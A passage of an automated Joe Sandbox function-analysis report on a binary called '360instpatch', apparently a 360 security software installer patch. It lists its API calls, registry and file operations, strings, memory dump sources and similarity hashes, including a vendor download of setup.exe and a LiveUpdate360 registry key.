Instruction Fuzzy Hash: 40018432120327EEDF108F21CC40AA773BCEB86354B00446EED6586160E7B6A545CBE1

Function 00B1E7D0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,?,00000001,00000000,?,00000000,?,00B1E9A6,?), ref: 00B1E80F

Part of subcall function 00B1E9E0: _memset.LIBCMT ref: 00B1EA12
Part of subcall function 00B1E9E0: _wcsncpy.LIBCMT ref: 00B1EA29
Part of subcall function 00B1E9E0: _wcsncat.LIBCMT ref: 00B1EA3C
Part of subcall function 00B1E9E0: _wcsncat.LIBCMT ref: 00B1EA53
Part of subcall function 00B1E9E0: _wcsncat.LIBCMT ref: 00B1EA66
Part of subcall function 00B1E9E0: _wcsncat.LIBCMT ref: 00B1EA7D
Part of subcall function 00B1E9E0: _wcsncat.LIBCMT ref: 00B1EA90
Part of subcall function 00B1E9E0: _wcsncat.LIBCMT ref: 00B1EAA7
Part of subcall function 00B1E9E0: GetActiveWindow.USER32 ref: 00B1EAB7
Part of subcall function 00B1E9E0: MessageBoxW.USER32(00000000), ref: 00B1EABE
Part of subcall function 00B1E9E0: __wcsnicmp.LIBCMT ref: 00B1EADA
Part of subcall function 00B1E9E0: ShellExecuteW.SHELL32(00000000,open,http://down.360safe.com/setup.exe,00000000,00000000,00000005), ref: 00B1EB0E

Strings

360, xrefs: 00B1E7F9

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: _wcsncat$ActiveExecuteLibraryLoadMessageShellWindow__wcsnicmp_memset_wcsncpy
String ID: 360
API String ID: 4220467963-1990796034
Opcode ID: 020420357f3db4a4690149ee93c1a8ebf225175b227657a67159fc650e551118
Instruction ID: 3b2c22dddaad25cf2b0fae78e3c25a572c337d9934993328eabb39416f92e98f
Opcode Fuzzy Hash: 020420357f3db4a4690149ee93c1a8ebf225175b227657a67159fc650e551118
Instruction Fuzzy Hash: 9CE0D872215310BADB10A7109C0AFDB63CCDF50755F10887BFA15E2080E7B0E85487A6

Function 6BF26F06 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNEL32(80000001,SOFTWARE\LiveUpdate360,00000000,00000000,00000000,000F003F,00000000,6BF0D3A2,?,?,?,?,6BF0D3A2), ref: 6BF26F2E

Strings

SOFTWARE\LiveUpdate360, xrefs: 6BF26F1E

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: Create
String ID: SOFTWARE\LiveUpdate360
API String ID: 2289755597-1248664019
Opcode ID: 2307105685ec8b47601c7f923cd1f17c2e34006a0bfe5492d76b1ef61d60118e
Instruction ID: 4007415475c7db8b46ee1e2936e6f72bebd2c6e3d79ae2a2f13a5021e81e4259
Opcode Fuzzy Hash: 2307105685ec8b47601c7f923cd1f17c2e34006a0bfe5492d76b1ef61d60118e
Instruction Fuzzy Hash: E6E0B6B6A60109BEEB08DBA5DC46EFE76ACD714348F204299BA02E2141E975AA449730

Function 00B14410 Relevance: 3.2, APIs: 2, Instructions: 226COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,?,?,00000000,00000000,00000000,?,00000CCC,?,00B14728,00000000,00000000,00000CCC,00000040), ref: 00B14576

Part of subcall function 00B13E90: ReadFile.KERNEL32(?,?,?,?,00000000,?,00B14DC5,?,00000000,?,00000000,?,?,00B11043,?), ref: 00B13E9B

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: File$PointerRead
String ID:
API String ID: 3154509469-0
Opcode ID: 034c737a1801203b05461abcb424ff5ed812fb5abe1b8cdd26d51c3fbe6dccbe
Instruction ID: b4ce0a4429fcfc007eb465e6753c1520984621c14653bd37cc16b875d40ef651
Opcode Fuzzy Hash: 034c737a1801203b05461abcb424ff5ed812fb5abe1b8cdd26d51c3fbe6dccbe
Instruction Fuzzy Hash: AB717E71604702AFD714DF28D880AAAB7E5FB88310F944AADF85893741E735E994CBD2

Function 6BEEA0F5 Relevance: 3.2, APIs: 2, Instructions: 176fileCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6BEEA0FC
DeleteFileW.KERNEL32(?,0000000C,?,?,?,?,?,?,?,?,00000024), ref: 6BEEA2FC

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: DeleteFileH_prolog3_
String ID:
API String ID: 1756631919-0
Opcode ID: 83c672bb88587deef114488307997487dc45030dfe5beb3278c8d23882fe7914
Instruction ID: 726f454449ec892a5bae7a2bab9ed9e04814ee20c37bbcad275a1b17e355f8ed
Opcode Fuzzy Hash: 83c672bb88587deef114488307997487dc45030dfe5beb3278c8d23882fe7914
Instruction Fuzzy Hash: 7651B435184A059BCB224F74C801A6EB6F3AF85704F30941CF46A527A0DB3AD463D731

Function 6BF2E190 Relevance: 3.2, APIs: 2, Instructions: 169COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6BF2E197

Part of subcall function 6BF2C56B: GetCurrentThreadId.KERNEL32 ref: 6BF2C56F
Part of subcall function 6BF2C56B: GetTickCount.KERNEL32 ref: 6BF2C583
Part of subcall function 6BF2C56B: GetTickCount.KERNEL32 ref: 6BF2C595

GetTickCount.KERNEL32 ref: 6BF2E1A3

Part of subcall function 6BF1A60A: __EH_prolog3.LIBCMT ref: 6BF1A611

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CountTick$H_prolog3$CurrentThread
String ID:
API String ID: 1756952440-0
Opcode ID: 2b6705f31a29a84b96472cd50586219c18397d1eb8623e92700774cf55af962b
Instruction ID: ce38fd0dafadeb5db0d0fe90ebea3af3a5b8d931553be9e9b64e24c4f107936a
Opcode Fuzzy Hash: 2b6705f31a29a84b96472cd50586219c18397d1eb8623e92700774cf55af962b
Instruction Fuzzy Hash: 7C61F772C1010A9FCF01DFF4D891AEDBBB5AF19314F204469E521B72A0EB39AA15CF60

Function 00B48119 Relevance: 3.1, APIs: 2, Instructions: 141COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00B4816F
ShowWindow.USER32(?,?), ref: 00B481F0

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: ClientRectShowWindow
String ID:
API String ID: 2134488367-0
Opcode ID: 1b2823dfcb172f94c178c14a02cfd0bf09d87d33296e37c9b6cb5e772dc6eed0
Instruction ID: 460e222c8c30d4aaabd7818e52a8c5128224ecdeef1a1b719a1b91060aa5fa42
Opcode Fuzzy Hash: 1b2823dfcb172f94c178c14a02cfd0bf09d87d33296e37c9b6cb5e772dc6eed0
Instruction Fuzzy Hash: B4513B71900209AFDF10DFA4C888DAEBBF8FF59344B14449AF855EB261EB31DA46DB50

Function 00B80001 Relevance: 3.1, APIs: 2, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,00001000,?,00000000), ref: 00B800AC
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00B800EF

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 536cb6291de61f2fab5efb151585312b75a96548879335c57f2bbf11fd3e87e6
Instruction ID: e76fef5ebe2f69fd6bbf19e9aff012442313152f39b9c78a3c7bdb748ab6da36
Opcode Fuzzy Hash: 536cb6291de61f2fab5efb151585312b75a96548879335c57f2bbf11fd3e87e6
Instruction Fuzzy Hash: 5D318B71A102099FEB70EEA5CC45BAEB3B8FF45354F240479E858E7292DB309909CF10

Function 6BF1AE39 Relevance: 3.1, APIs: 2, Instructions: 91networkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 6BF1AE44

Part of subcall function 6BF16EF2: GetTickCount.KERNEL32 ref: 6BF16EFF

WSAGetLastError.WS2_32 ref: 6BF1AEAE

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CountTick$ErrorLast
String ID:
API String ID: 1305442257-0
Opcode ID: 1399e4966054b0e52a041e9416c461225680ba3fec9a3748c0b3832c430da1d8
Instruction ID: 5ad650c484549ecc7c69870ddf6901107279e9b1008e1951099bdbcf4814d14b
Opcode Fuzzy Hash: 1399e4966054b0e52a041e9416c461225680ba3fec9a3748c0b3832c430da1d8
Instruction Fuzzy Hash: FD319372A04605BFCF15DBB4C885EEFBBB9FF04354F008959E115A71A0DB38A915DB60

Function 6BEE867B Relevance: 3.1, APIs: 2, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6BEE8682
char_traits.LIBCPMT ref: 6BEE871D

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: H_prolog3_catchchar_traits
String ID:
API String ID: 1964944973-0
Opcode ID: 12fdfbf1302b8cdd142340ec34aa1ae1cce60caef44bb93a2ad374210687c381
Instruction ID: 06c5494d3e3f7f887ceca752b0bc830d26343e111b2aa8b13805ef0a9e5eab1a
Opcode Fuzzy Hash: 12fdfbf1302b8cdd142340ec34aa1ae1cce60caef44bb93a2ad374210687c381
Instruction Fuzzy Hash: A9113832A04112ABDB04CF64C841B5CB376FF54314F30821AE919EB2C0D779AAA2C7E1

Function 6BEE878F Relevance: 3.1, APIs: 2, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6BEE8796
char_traits.LIBCPMT ref: 6BEE8836

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: H_prolog3_catchchar_traits
String ID:
API String ID: 1964944973-0
Opcode ID: 3516abe15e857e6f40089f4e6b6af020d90765784581153068c3399b7bf6cb0a
Instruction ID: 3ad14469e09dc7b40e7926a1814c92e7892562c27f03c785d43e1212e2a6da8c
Opcode Fuzzy Hash: 3516abe15e857e6f40089f4e6b6af020d90765784581153068c3399b7bf6cb0a
Instruction Fuzzy Hash: 1311E972A00105EBD704CF64C85175DF3A6BF54314F70811AE918E76C0DB79BAA2CBE5

Function 00B620A9 Relevance: 3.1, APIs: 2, Instructions: 57COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B620B3

Part of subcall function 00B47451: BeginPaint.USER32(?,?), ref: 00B4746E

GetClientRect.USER32(?,?), ref: 00B620E0

Part of subcall function 00B47323: CreateCompatibleDC.GDI32(?), ref: 00B47347
Part of subcall function 00B47323: SelectObject.GDI32(?,?), ref: 00B4736E
Part of subcall function 00B47323: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00B47387

Part of subcall function 00B56537: GetWindowRect.USER32(?,00000000), ref: 00B56554

Part of subcall function 00B61F15: __EH_prolog3.LIBCMT ref: 00B61F1C
Part of subcall function 00B61F15: IsWindowEnabled.USER32(?), ref: 00B61F26
Part of subcall function 00B61F15: GetClientRect.USER32(?,?), ref: 00B61F5D
Part of subcall function 00B61F15: GetWindowTextW.USER32(?,00000000,00000080), ref: 00B61FA2

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: RectWindow$Client$BeginCompatibleCreateEnabledH_prolog3H_prolog3_ObjectPaintSelectTextViewport
String ID:
API String ID: 2602395704-0
Opcode ID: 714cdcec14007ae9ffffe19332fd31a4fffb1df7e6f1b001b09f076baf9b5393
Instruction ID: 37eb98849ce4d224ff14c3d181f1d722b33c1dcb9f898c141c15e16de7fd2f7e
Opcode Fuzzy Hash: 714cdcec14007ae9ffffe19332fd31a4fffb1df7e6f1b001b09f076baf9b5393
Instruction Fuzzy Hash: A611D071C04A08CAEF11EB94C881DADFBFAFF55300F10808AE549A7251CF345A05DB21

Function 6BF11F45 Relevance: 3.1, APIs: 2, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6BF0E53F: __EH_prolog3_catch.LIBCMT ref: 6BF0E546
Part of subcall function 6BF0E53F: __CxxThrowException@8.LIBCMT ref: 6BF0E56A
Part of subcall function 6BF0E53F: CreateWaitableTimerW.KERNEL32(00000000,00000001,00000000), ref: 6BF0E5F1
Part of subcall function 6BF0E53F: GetLastError.KERNEL32 ref: 6BF0E600
Part of subcall function 6BF0E53F: SetWaitableTimer.KERNEL32(00000000,?,00000000,00000000,00000000,00000000), ref: 6BF0E628
Part of subcall function 6BF0E53F: GetLastError.KERNEL32 ref: 6BF0E632
Part of subcall function 6BF0E53F: CreateMutexW.KERNEL32(00000000,00000000,00000000), ref: 6BF0E64B
Part of subcall function 6BF0E53F: GetLastError.KERNEL32 ref: 6BF0E658

GetTickCount.KERNEL32 ref: 6BF11F6F
GetTickCount.KERNEL32 ref: 6BF11F74

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: ErrorLast$CountCreateTickTimerWaitable$Exception@8H_prolog3_catchMutexThrow
String ID:
API String ID: 1909352761-0
Opcode ID: 6987e6f4b6dad5032c5a38376070ebec8676fdbd6775d79fb3c131a958f7f8b5
Instruction ID: f3a7c89f5071829cd2da4f64bd772befa5b61024fdfb0c6d47af992fcaccff4c
Opcode Fuzzy Hash: 6987e6f4b6dad5032c5a38376070ebec8676fdbd6775d79fb3c131a958f7f8b5
Instruction Fuzzy Hash: 981118B1904B919EC370CF3B8884D97FAF8FBE6B04750091EE596C2A20E775E440CB61

Function 6CD34D0B Relevance: 3.1, APIs: 2, Instructions: 54COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000000E,00000000,00000000,?,?,6CDA4DB4,?,?,?,?,?,00000001,?,?,?,00000000), ref: 6CD34D23
CreateWindowExW.USER32(?,00000000,?,?,?,00000002,?,?,?,00000000,?,6CE53338), ref: 6CD34D94

Memory Dump Source

Source File: 00000008.00000002.4120199942.000000006CD21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CD20000, based on PE: true

Associated: 00000008.00000002.4120169906.000000006CD20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120288463.000000006CE05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120321049.000000006CE29000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE2B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE30000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120454362.000000006CE50000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120497160.000000006CE56000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6cd20000_360instpatch.jbxd

Similarity

API ID: CreateErrorLastWindow
String ID:
API String ID: 3732789607-0
Opcode ID: d9a44395c12f11ffe78540810b7551e8897cbe05eb5522e6847ec10e7382e427
Instruction ID: a36fa85dd2d3b4d176dda64cb7f4c1c902ed253e26db0dd8e9d3ea80bcbcb3d7
Opcode Fuzzy Hash: d9a44395c12f11ffe78540810b7551e8897cbe05eb5522e6847ec10e7382e427
Instruction Fuzzy Hash: A3115A35200219EFDB028F55DC05FEA7BB9EF4A314F019119FC189A6A0D7BAD860CFA0

Function 6BF1AE38 Relevance: 3.1, APIs: 2, Instructions: 53networkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 6BF1AE44

Part of subcall function 6BF16EF2: GetTickCount.KERNEL32 ref: 6BF16EFF

WSAGetLastError.WS2_32 ref: 6BF1AEAE

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CountTick$ErrorLast
String ID:
API String ID: 1305442257-0
Opcode ID: 0e712ef447b0bc317e747afaff4c5451ebb011c2f63973ebb650cdadd47f34c4
Instruction ID: 71644608de2d80c4682d1b25fd5ad3650d97602a7c49d7bff67efd24db45b7e4
Opcode Fuzzy Hash: 0e712ef447b0bc317e747afaff4c5451ebb011c2f63973ebb650cdadd47f34c4
Instruction Fuzzy Hash: 5C112572A00101BBCF149BB4C888FDEBBB8FF08314F004659F515D71A0DB389814CBA0

Function 6BF37D19 Relevance: 3.0, APIs: 2, Instructions: 49networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6BF37D50
WSAGetLastError.WS2_32 ref: 6BF37D94

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: ErrorLast_memset
String ID:
API String ID: 533350023-0
Opcode ID: a1d93375e4bdf8e7f20f69ce02c1bb7fde569b814ff6f9c521eeeefd3afe433d
Instruction ID: f4be8585a040d41e50349a0c4c3e2a06e49527d9a4bc5dfbb1fe27474c1358f9
Opcode Fuzzy Hash: a1d93375e4bdf8e7f20f69ce02c1bb7fde569b814ff6f9c521eeeefd3afe433d
Instruction Fuzzy Hash: 6A01257390021A9AEB30DBA4CC81FFEB3ACAF1A308F504579D515D61D1EBB89508DB51

Function 00B82080 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

Part of subcall function 00B2898E: RegOpenKeyExW.KERNEL32(?,?,00000000,?,00000000), ref: 00B289A8

